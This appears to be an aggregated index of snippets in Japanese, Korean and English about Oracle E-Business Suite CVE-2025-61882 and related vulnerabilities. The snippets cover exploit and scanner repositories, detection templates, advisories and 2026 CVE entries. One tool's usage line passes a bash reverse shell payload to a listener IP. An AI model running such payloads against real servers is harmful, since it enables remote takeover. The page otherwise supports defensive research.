CVE-2025-61882-Oracle-EBS

Oracle E-Business Suite — CVE-2025-61882 このリポジトリには、ZeroZenX の研究成果物と、CVE-2025-61882 用の完全に動作するエクスプロイト実装が含まれています。これらは、認可された環境においてのみ、防御研究、インシデント対応、検知エンジニアリング、およびパッチ検証を支援するために提供されています。 重要: このコードは、管理されたラボ環境で使用するセキュリティ専門家、明示的な認可を受けたペネトレーションテスター、および緩和策を検証する必要があるベンダー/運用担当者のみを対象としています。...

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882 Oracle E-Business Suite CVE-2025-61882 탐지 아티팩트 생성기 자세한 기술 내용은 블로그 포스트를 참조하세요. 탐지 동작 python3 watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882.py --command 'bash -i & /dev/tcp/192.168.1.10/4444 0&1' --platform linux --target...

CVE-2025-61882-CVE-2025-61884

CVE-2025-61882 & CVE-2025-61884 편집: Oracle이 방금 새로운 취약점 CVE-2025-61884를 공개했습니다. 해당 취약점의 탐지 스크립트는 이 저장소에서 찾을 수 있으며 원본은 여기:https://gist.github.com/rxerium/6c70bc6b72fc0d1365c85937d35d9550입니다. Oracle 보안 권고에서 인용: 이 보안 경보는 Oracle E-Business Suite의 취약점 CVE-2025-61882를 다룹니다. 이 취약점은 인증 없이 원격으로 악용될 수 있습니다...

CVE-2025-61882

Oracle E-Business Suite RCE 스캐너 CVE-2025-61882 Oracle E-Business Suite 설치 환경에서 CVE-2025-61882를 탐지하는 빠르고 멀티스레드 기반 대량 스캐너입니다. 이 치명적인 취약점은 인증 없이 원격 코드 실행을 허용합니다. 🎯 주요 기능 대량 스캔 - 파일에서 수백 또는 수천 개의 대상 처리 멀티스레드 - 동시 스캔 수 설정 가능 기본값: 20개 스레드 자동 탐지 - id 명령 실행 및 출력 파싱을 통해 RCE 검증 실시간 결과 - 취약한 대상은...

Blackash-CVE-2025-61884

CVE-2025-61884 신규 Oracle E-Business Suite 버그, 로그인 없이 해커가 데이터에 접근 가능 💀 CVE-2025-61884 — 전체 요약 🧾💥 필드| 세부 정보 ---|--- 식별자| CVE-2025-61884 제품| Oracle E-Business Suite — Oracle Configurator Runtime UI 영향을 받는 버전| 12.2.3 → 12.2.14 공격 경로| 네트워크 HTTP — 인증되지 않은 접근 영향| 기밀성 승인되지 않은 데이터 공개 CVSSv3.1 기본 점수| 7.5 높...

http-oracle-ebs-cve-2025-61882.nse

http-oracle-ebs-cve-2025-61882.nse Oracle E-Business SuiteCVE-2025-61882를 탐지합니다. 탐지: 다중 계층 검사 — 핑거프린팅, 버전 확인, 엔드포인트 및 SSRF 테스트, 타이밍 분석 및 통제된 익스플로잇으로 4가지 높은 신뢰도의 결과를 제공합니다. 기본값은 안전한 핑거프린팅만 수행합니다. aggressive=true로 설정하면 능동/프로빙 검사를 활성화하며 주의해서 사용하세요. 제공: BattalionX [email protected]...

CVE-2025-61882-Oracle-E-Business-Suite-Pre-Auth-RCE-Exploit

CVE-2025-61882 - Oracle E-Business Suite 사전 인증 RCE 익스플로잇 Oracle E-Business Suite버전 12.2.312.2.14의 치명적인 사전 인증 원격 코드 실행RCE 취약점으로, 악의적인 HTTP 요청을 통해 공격자가 취약한 서버에 대한 완전한 제어권을 획득할 수 있습니다 — 현재 실제 공격에 활발히 악용되고 있습니다. TL;DR CVE-2025-61882 는 Oracle E-Business SuiteEBS의 치명적인 사전 인증 RCE 취약점으로, 갈취/데이터 탈취 캠페인에서...

Blackash-CVE-2025-61882

🛡️🚨 CVE‑2025‑61882 — Oracle E‑Business Suite EBS における重大な事前認証リモートコード実行 🚨🛡️ 概要: Oracle E‑Business Suite EBS における重大な事前認証リモートコード実行 — 12.2.3 → 12.2.14 に影響、CVSS 9.8 、実環境で活発に悪用（ランサム/恐喝活動が報告済み）。（oracle.com1） 📌 クイックファクト（表） 項目| 詳細 ---|--- 🆔 CVE| CVE‑2025‑61882 🧾 製品 / コンポーネント| Oracle E‑Business Suite EBS —...

CVE-2025-61882-CVE-2025-61884

CVE-2025-61882 & CVE-2025-61884 편집: Oracle이 새로운 취약점 CVE-2025-61884를 공개했습니다. 이 취약점에 대한 탐지 스크립트는 이 저장소에서 찾을 수 있으며, 원본은 여기:https://gist.github.com/rxerium/6c70bc6b72fc0d1365c85937d35d9550. Oracle의 보안 권고에 따르면: 이 보안 경고는 Oracle E-Business Suite의 취약점 CVE-2025-61882를 다룹니다. 이 취약점은 인증 없이 원격으로 악용 가능합니다. 즉,...

CVE-2025-53072-CVE-2025-62481

CVE-2025-53072 & CVE-2025-62481 Oracle E-Business Suite의 Oracle Marketing 제품에서 발견된 취약점입니다구성 요소: Marketing Administration. 이 탐지 방법은 어떻게 작동하나요? 이 Nuclei 템플릿은 서버의 Last-Modified 헤더가 패치 날짜인 2025년 10월 21일 이전의 빌드 날짜를 나타내는지 확인하고, E-Business Suite 홈 페이지 콘텐츠 및 200 상태 응답을 식별하여 CVE-2025-53072 및 CVE-2025-6248...

Enterprise-Information-Security-Risk-Assessment-Oracle-E-Business-Suite-Case-Study

정보 보안: GDPR 컴플라이언스 및 침해 대응 고위험 생체 인식 감시 시스템CCTV, 얼굴 인식 기술, 중앙 집중식 접촉 추적을 위한 포괄적인 보안 및 개인정보 보호 컴플라이언스 프레임워크로, 프레임워크 비교 분석ISO 27001, Cyber Essentials, NIST CSF 2.0, COBIT과 2025년 Oracle E-Business Suite CVE-2025-61882 침해 사고를 분석한 상세한 침해 대응 사례 연구를 포함합니다. 목차 프로젝트 개요 제1장: 데이터 보호 컴플라이언스 설계 및 기본값에 의한 데이터...

cve-2025-61882-oracle_ebs_rce_reproduction

CVE-2025-61882 — Oracle E-Business Suite 인증되지 않은 원격 코드 실행 CVSS 9.8 중요 개요 CVE-2025-61882는 Oracle E-Business Suite EBS에서 발견된 인증되지 않은 원격 코드 실행 취약점으로, Concurrent Processing 및 BI Publisher 구성 요소에 영향을 미칩니다. 이 결함으로 인해 HTTP를 통해 네트워크 접근이 가능한 인증되지 않은 공격자가 대상 시스템을 완전히 장악할 수 있습니다. 이 취약점은 Clop 랜섬웨어 그룹을 포함한 여러...

Oracle E-Business Suite (September 2026 CSPU)

The versions of Oracle E-Business Suite installed on the remote host are affected by multiple vulnerabilities as referenced in the September 2026 CSPU advisory. - Vulnerability in the Oracle Applications Framework product of Oracle E-Business Suite component: Personalization. Supported versions...

Oracle E-Business Suite 12.2.3 -12.2.11 - Remote Code Execution

Oracle E-Business Suite 12.2.3 through 12.2.11 is susceptible to remote code execution via the Oracle Web Applications Desktop Integrator product, Upload component. An attacker with HTTP network access can execute malware, obtain sensitive information, modify data, and/or gain full control over a...

vulnerabilities present in Oracle E-Business Suite

Oracle has identified 159 vulnerabilities in various Oracle E-Business Suite products, including Oracle Applications Framework, Oracle Document Management and Collaboration, Oracle Mobile Application Server, Oracle Alert, Oracle Application Object Library, Oracle Applications Manager, Oracle Bill...

CVE-2026-87265

Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite component: Other issue. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Purchasing. Successful attac...

CVE-2026-87165

Vulnerability in the Oracle Contract Lifecycle Management for Public Sector product of Oracle E-Business Suite component: ECC For Award and IDV. The supported version that is affected is V16. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromis...

CVE-2026-87169

Vulnerability in the Oracle Contract Lifecycle Management for Public Sector product of Oracle E-Business Suite component: Wage Determination Online. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HT...

CVE-2026-87166

Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite component: Other issue. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Purchasing. Successful attac...

CVE-2026-87161

Vulnerability in the Oracle HRMS India product of Oracle E-Business Suite component: Internal Operations. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle HRMS India. While th...